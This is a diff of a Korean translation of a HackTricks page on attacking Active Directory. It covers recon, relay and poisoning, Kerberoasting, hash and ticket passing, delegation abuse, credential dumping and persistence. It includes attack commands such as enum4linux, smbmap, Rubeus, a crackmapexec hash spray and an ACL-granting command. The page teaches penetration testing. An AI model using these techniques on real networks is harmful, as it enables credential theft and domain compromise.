> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 사용됩니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 묵시적인 어떤 종류의 진술이나 보증을 하지 않습니다. 따라서 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
|
||||
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 묵시적인 어떤 종류의 진술이나 보증을 하지 않습니다. 따라서 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
|
||||
>
|
||||
> 저자와 출판사는 데이터 손실이나 이익 손실로 인해 발생하는 모든 손실이나 손해, 간접적 또는 결과적 손실이나 손해를 포함하여 어떤 손실이나 손해에 대해서도 책임을 지지 않습니다.
|
||||
> 저자와 출판사는 데이터 손실이나 이 책의 사용과 관련하여 발생하는 모든 손실이나 손해에 대해 어떤 경우에도 책임을 지지 않습니다.
|
||||
>
|
||||
> 또한 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법 또는 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법 또는 비윤리적인 활동을 용인하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따릅니다.
|
||||
> 또한 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법 또는 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법 또는 비윤리적인 활동을 용인하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다.
|
||||
>
|
||||
> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다.
|
||||
>
|
||||
> 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책하는 데 동의합니다.
|
||||
> 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책합니다.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,16 +4,16 @@
|
||||
|
||||
## Basic overview
|
||||
|
||||
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직하고, 다양한 수준에서 **접근 권한**을 제어할 수 있습니다.
|
||||
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직할 수 있으며, 다양한 수준에서 **접근 권한**을 제어합니다.
|
||||
|
||||
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 모음을 포함합니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 모음을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
|
||||
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 집합을 포함합니다. **트리**는 공유 구조로 연결된 이러한 도메인의 그룹이며, **포리스트**는 여러 트리의 집합을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
|
||||
|
||||
**Active Directory**의 주요 개념은 다음과 같습니다:
|
||||
|
||||
1. **디렉토리** – Active Directory 객체와 관련된 모든 정보를 보관합니다.
|
||||
1. **디렉토리** – Active Directory 객체와 관련된 모든 정보를 저장합니다.
|
||||
2. **객체** – 디렉토리 내의 엔티티를 나타내며, **사용자**, **그룹**, 또는 **공유 폴더**를 포함합니다.
|
||||
3. **도메인** – 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있으며, 각 도메인은 자체 객체 모음을 유지합니다.
|
||||
4. **트리** – 공통 루트 도메인을 공유하는 도메인 그룹입니다.
|
||||
3. **도메인** – 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있으며, 각 도메인은 자체 객체 집합을 유지합니다.
|
||||
4. **트리** – 공통 루트 도메인을 공유하는 도메인의 그룹입니다.
|
||||
5. **포리스트** – Active Directory의 조직 구조의 정점으로, 여러 트리로 구성되며 이들 간에 **신뢰 관계**가 있습니다.
|
||||
|
||||
**Active Directory Domain Services (AD DS)**는 네트워크 내에서 중앙 집중식 관리 및 통신에 중요한 다양한 서비스를 포함합니다. 이러한 서비스는 다음과 같습니다:
|
||||
@ -23,7 +23,7 @@
|
||||
3. **경량 디렉토리 서비스** – **LDAP 프로토콜**을 통해 디렉토리 지원 애플리케이션을 지원합니다.
|
||||
4. **디렉토리 연합 서비스** – 여러 웹 애플리케이션에서 단일 세션으로 사용자를 인증할 수 있는 **싱글 사인온** 기능을 제공합니다.
|
||||
5. **권한 관리** – 저작권 자료를 보호하기 위해 무단 배포 및 사용을 규제하는 데 도움을 줍니다.
|
||||
6. **DNS 서비스** – **도메인 이름** 해석에 필수적입니다.
|
||||
6. **DNS 서비스** – **도메인 이름**의 해석에 필수적입니다.
|
||||
|
||||
자세한 설명은 다음을 확인하세요: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
@ -34,17 +34,17 @@ AD를 **공격하는 방법**을 배우려면 **Kerberos 인증 프로세스**
|
||||
|
||||
## Cheat Sheet
|
||||
|
||||
AD를 열거/악용하기 위해 실행할 수 있는 명령어를 빠르게 확인하려면 [https://wadcoms.github.io/](https://wadcoms.github.io)에서 많은 정보를 얻을 수 있습니다.
|
||||
AD를 열거하거나 **악용**하기 위해 실행할 수 있는 명령어를 빠르게 확인하려면 [https://wadcoms.github.io/](https://wadcoms.github.io)에서 많은 정보를 얻을 수 있습니다.
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다음을 수행할 수 있습니다:
|
||||
|
||||
- **네트워크 펜테스트:**
|
||||
- 네트워크를 스캔하고, 기계 및 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명**을 추출하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
|
||||
- 네트워크를 스캔하고, 기계와 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명**을 추출하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
|
||||
- DNS를 열거하면 도메인 내의 주요 서버에 대한 정보(웹, 프린터, 공유, VPN, 미디어 등)를 얻을 수 있습니다.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- 이를 수행하는 방법에 대한 더 많은 정보를 찾으려면 일반 [**펜테스팅 방법론**](../../generic-methodologies-and-resources/pentesting-methodology.md)을 참조하세요.
|
||||
- 이를 수행하는 방법에 대한 더 많은 정보를 찾으려면 일반 [**펜테스팅 방법론**](../../generic-methodologies-and-resources/pentesting-methodology.md)을 확인하세요.
|
||||
- **smb 서비스에서 null 및 Guest 접근 확인** (이것은 최신 Windows 버전에서는 작동하지 않습니다):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
@ -105,7 +105,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
> [!WARNING]
|
||||
> 사용자 이름 목록은 [**이 github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 및 이곳 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))에서 찾을 수 있습니다.
|
||||
>
|
||||
> 그러나 이 전에 수행했어야 할 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성을 가지고 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
|
||||
> 그러나 이 전에 수행했어야 할 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성이 있으면 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
|
||||
|
||||
### 하나 이상의 사용자 이름 알기
|
||||
|
||||
@ -121,7 +121,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS 중독
|
||||
|
||||
네트워크의 일부 프로토콜을 **중독**하여 **해시**를 **획득**할 수 있을지도 모릅니다:
|
||||
네트워크의 일부 프로토콜을 **중독**하여 **해시**를 **획득**할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -129,11 +129,11 @@ password-spraying.md
|
||||
|
||||
### NTML 릴레이
|
||||
|
||||
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTML [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*을 강제로 수행하여 AD 환경에 접근할 수 있을 것입니다.
|
||||
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTML [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*을 강제로 수행하여 AD 환경에 접근할 수 있습니다.
|
||||
|
||||
### NTLM 자격 증명 훔치기
|
||||
### NTLM 자격 증명 도용
|
||||
|
||||
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 어떤 식으로든 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지**를 훔칠 수 있습니다:
|
||||
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지**를 도용할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -141,7 +141,7 @@ password-spraying.md
|
||||
|
||||
## 자격 증명/세션으로 활성 디렉토리 열거하기
|
||||
|
||||
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제시된 옵션들이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야** 합니다.
|
||||
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제시된 옵션이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야** 합니다.
|
||||
|
||||
인증된 열거를 시작하기 전에 **Kerberos 더블 홉 문제**가 무엇인지 알아야 합니다.
|
||||
|
||||
@ -151,9 +151,9 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### 열거
|
||||
|
||||
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **Active Directory 열거**를 시작할 수 있습니다:
|
||||
계정을 손상시키는 것은 **전체 도메인을 손상시키기 시작하는 큰 단계**입니다. 이제 **Active Directory 열거**를 시작할 수 있습니다:
|
||||
|
||||
[**ASREPRoast**](asreproast.md)와 관련하여 이제 가능한 모든 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
|
||||
[**ASREPRoast**](asreproast.md)와 관련하여 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
|
||||
|
||||
- [**CMD를 사용하여 기본 정찰 수행**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- [**powershell을 사용하여 정찰**](../basic-powershell-for-pentesters/index.html)할 수도 있으며, 이는 더 은밀합니다.
|
||||
@ -164,7 +164,7 @@ kerberos-double-hop-problem.md
|
||||
- 디렉토리를 열거하는 데 사용할 수 있는 **GUI 도구**는 **SysInternal** Suite의 **AdExplorer.exe**입니다.
|
||||
- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword_ 및 _unixUserPassword_ 필드에서 자격 증명을 찾거나 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요.
|
||||
- **Linux**를 사용하는 경우 [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수 있습니다.
|
||||
- 자동화 도구로는 다음을 시도할 수 있습니다:
|
||||
- 자동화 도구를 시도할 수도 있습니다:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **모든 도메인 사용자 추출하기**
|
||||
@ -175,7 +175,7 @@ Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 획득하고, 그 암호화를 크랙하는 것입니다—이는 사용자 비밀번호를 기반으로 하며—**오프라인**에서 수행됩니다.
|
||||
Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 획득하고, 그 암호화를 크랙하는 것입니다—이는 사용자 비밀번호를 기반으로 하며—**오프라인**에서 이루어집니다.
|
||||
|
||||
자세한 내용은:
|
||||
|
||||
@ -185,17 +185,17 @@ kerberoast.md
|
||||
|
||||
### 원격 연결 (RDP, SSH, FTP, Win-RM 등)
|
||||
|
||||
자격 증명을 얻은 후, **어떤 머신**에 접근할 수 있는지 확인할 수 있습니다. 이를 위해 **CrackMapExec**를 사용하여 포트 스캔에 따라 여러 서버에 다양한 프로토콜로 연결을 시도할 수 있습니다.
|
||||
일단 자격 증명을 얻으면, 어떤 **기계**에 접근할 수 있는지 확인할 수 있습니다. 이를 위해 **CrackMapExec**를 사용하여 포트 스캔에 따라 여러 서버에 다양한 프로토콜로 연결을 시도할 수 있습니다.
|
||||
|
||||
### 로컬 권한 상승
|
||||
|
||||
정상 도메인 사용자로서 자격 증명이나 세션을 손상시키고, 이 사용자로 **도메인 내의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프**할 수 있기 때문입니다.
|
||||
정상 도메인 사용자로서 자격 증명이나 세션을 손상시키고, 이 사용자로 **도메인 내의 어떤 기계에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프**할 수 있기 때문입니다.
|
||||
|
||||
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)과 [**체크리스트**](../checklist-windows-privilege-escalation.md)에 대한 완전한 페이지가 있습니다. 또한, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
|
||||
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
|
||||
|
||||
### 현재 세션 티켓
|
||||
|
||||
예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮지만**, 확인해 볼 수 있습니다:
|
||||
예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮지만**, 확인할 수 있습니다:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -215,7 +215,7 @@ kerberoast.md
|
||||
|
||||
### NTLM 자격 증명 훔치기
|
||||
|
||||
다른 PC나 공유에 **접근할 수 있다면** (SCF 파일과 같은) **파일을 배치**할 수 있습니다. 이 파일이 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지를 훔쳐서 크랙할 수 있습니다:**
|
||||
다른 PC나 공유에 **접근할 수 있다면** (SCF 파일과 같은) **파일을 배치**할 수 있습니다. 이 파일이 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지를 훔쳐낼 수 있습니다**:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -229,20 +229,20 @@ kerberoast.md
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## 특권 자격 증명/세션으로 Active Directory에서 권한 상승
|
||||
## 권한 상승: 특권 자격 증명/세션을 통한 Active Directory
|
||||
|
||||
**다음 기술을 수행하려면 일반 도메인 사용자로는 부족하며, 이러한 공격을 수행하기 위해 특별한 권한/자격 증명이 필요합니다.**
|
||||
**다음 기술을 수행하려면 일반 도메인 사용자로는 부족하며, 특별한 권한/자격 증명이 필요합니다.**
|
||||
|
||||
### 해시 추출
|
||||
|
||||
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**\
|
||||
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**\
|
||||
이제 메모리와 로컬에서 모든 해시를 덤프할 시간입니다.\
|
||||
[**해시를 얻는 다양한 방법에 대해 이 페이지를 읽어보세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### 해시 전달
|
||||
|
||||
**사용자의 해시를 확보하면**, 이를 사용하여 **사용자를 가장할 수 있습니다.**\
|
||||
해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **세션로그온**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때** 그 **해시가 사용됩니다.** 마지막 옵션이 mimikatz가 하는 것입니다.\
|
||||
해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **sessionlogon**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때** 그 **해시가 사용됩니다.** 마지막 옵션이 mimikatz가 하는 일입니다.\
|
||||
[**자세한 정보는 이 페이지를 읽어보세요.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### 해시 우회/키 전달
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### 티켓 전달
|
||||
|
||||
**티켓 전달 (PTT)** 공격 방법에서는 공격자가 **사용자의 인증 티켓을 훔치는** 대신 비밀번호나 해시 값을 훔칩니다. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어** 네트워크 내의 리소스와 서비스에 대한 무단 접근을 얻습니다.
|
||||
**티켓 전달 (PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어** 네트워크 내의 리소스와 서비스에 대한 무단 접근을 얻습니다.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -263,7 +263,7 @@ pass-the-ticket.md
|
||||
|
||||
### 자격 증명 재사용
|
||||
|
||||
**로컬 관리자**의 **해시**나 **비밀번호**가 있다면 이를 사용하여 다른 **PC에 로컬로 로그인**해 보아야 합니다.
|
||||
**로컬 관리자**의 **해시** 또는 **비밀번호**가 있다면, 이를 사용하여 다른 **PC에 로컬로 로그인**해 보아야 합니다.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL 남용 및 신뢰 링크
|
||||
|
||||
사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우), NetNTLM **해시**를 **탈취**하거나 심지어 **릴레이** **공격**을 수행할 수 있습니다.\
|
||||
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰되는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.\
|
||||
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰받는 경우(데이터베이스 링크). 사용자가 신뢰받는 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.\
|
||||
**데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.**
|
||||
|
||||
{{#ref}}
|
||||
@ -295,7 +295,7 @@ unconstrained-delegation.md
|
||||
### 제약된 위임
|
||||
|
||||
사용자 또는 컴퓨터가 "제약된 위임"을 허용받으면, **컴퓨터의 일부 서비스에 접근하기 위해 어떤 사용자를 가장할 수 있습니다**.\
|
||||
그런 다음, 이 사용자/컴퓨터의 **해시를 손상시키면** **모든 사용자를 가장할 수 있습니다** (도메인 관리자 포함) 특정 서비스에 접근하기 위해.
|
||||
그런 다음, 이 사용자/컴퓨터의 **해시를 손상시키면** **어떤 사용자**(도메인 관리자 포함)를 가장하여 일부 서비스에 접근할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -328,7 +328,7 @@ printers-spooler-service-abuse.md
|
||||
### 제3자 세션 남용
|
||||
|
||||
**다른 사용자**가 **손상된** 머신에 **접근**하면, 메모리에서 **자격 증명을 수집**하고 심지어 **그들의 프로세스에 비콘을 주입**하여 그들을 가장할 수 있습니다.\
|
||||
일반적으로 사용자는 RDP를 통해 시스템에 접근하므로, 여기에서 제3자 RDP 세션에 대한 몇 가지 공격을 수행하는 방법이 있습니다:
|
||||
일반적으로 사용자는 RDP를 통해 시스템에 접근하므로, 여기에서 제3자 RDP 세션에 대한 몇 가지 공격을 수행하는 방법을 제공합니다:
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -358,7 +358,7 @@ ad-certificates/certificate-theft.md
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## 높은 권한 계정으로의 사후 활용
|
||||
## 높은 권한 계정으로의 포스트 익스플로잇
|
||||
|
||||
### 도메인 자격 증명 덤프
|
||||
|
||||
@ -368,7 +368,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
[**NTDS.dit를 훔치는 방법에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### 권한 상승을 통한 지속성
|
||||
### 권한 상승을 위한 지속성
|
||||
|
||||
앞서 논의된 몇 가지 기술은 지속성에 사용될 수 있습니다.\
|
||||
예를 들어, 다음과 같이 할 수 있습니다:
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### 실버 티켓
|
||||
|
||||
**실버 티켓 공격**은 특정 서비스에 대한 **정당한 티켓 부여 서비스(TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다 (예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
|
||||
**실버 티켓 공격**은 특정 서비스에 대한 **정당한 티켓 부여 서비스(TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다(예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -403,7 +403,7 @@ silver-ticket.md
|
||||
|
||||
**골든 티켓 공격**은 공격자가 Active Directory(AD) 환경에서 **krbtgt 계정의 NTLM 해시**에 접근하는 것을 포함합니다. 이 계정은 모든 **티켓 부여 티켓(TGT)**에 서명하는 데 사용되기 때문에 특별합니다. 이는 AD 네트워크 내에서 인증하는 데 필수적입니다.
|
||||
|
||||
공격자가 이 해시를 얻으면, 그들은 선택한 모든 계정에 대한 **TGT**를 생성할 수 있습니다 (실버 티켓 공격).
|
||||
공격자가 이 해시를 얻으면, 그들은 선택한 모든 계정에 대한 **TGT**를 생성할 수 있습니다(실버 티켓 공격).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
@ -419,7 +419,7 @@ diamond-ticket.md
|
||||
|
||||
### **인증서 계정 지속성**
|
||||
|
||||
**계정의 인증서를 보유하거나 요청할 수 있는 것**은 사용자의 계정에 지속할 수 있는 매우 좋은 방법입니다 (비밀번호를 변경하더라도):
|
||||
**계정의 인증서를 보유하거나 요청할 수 있는 것**은 사용자의 계정에 지속할 수 있는 매우 좋은 방법입니다(비밀번호를 변경하더라도):
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/account-persistence.md
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder 그룹
|
||||
|
||||
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(도메인 관리자 및 엔터프라이즈 관리자와 같은)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 접근 권한을 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불법적인 접근을 허용할 수 있습니다.
|
||||
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(도메인 관리자 및 엔터프라이즈 관리자와 같은)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
|
||||
|
||||
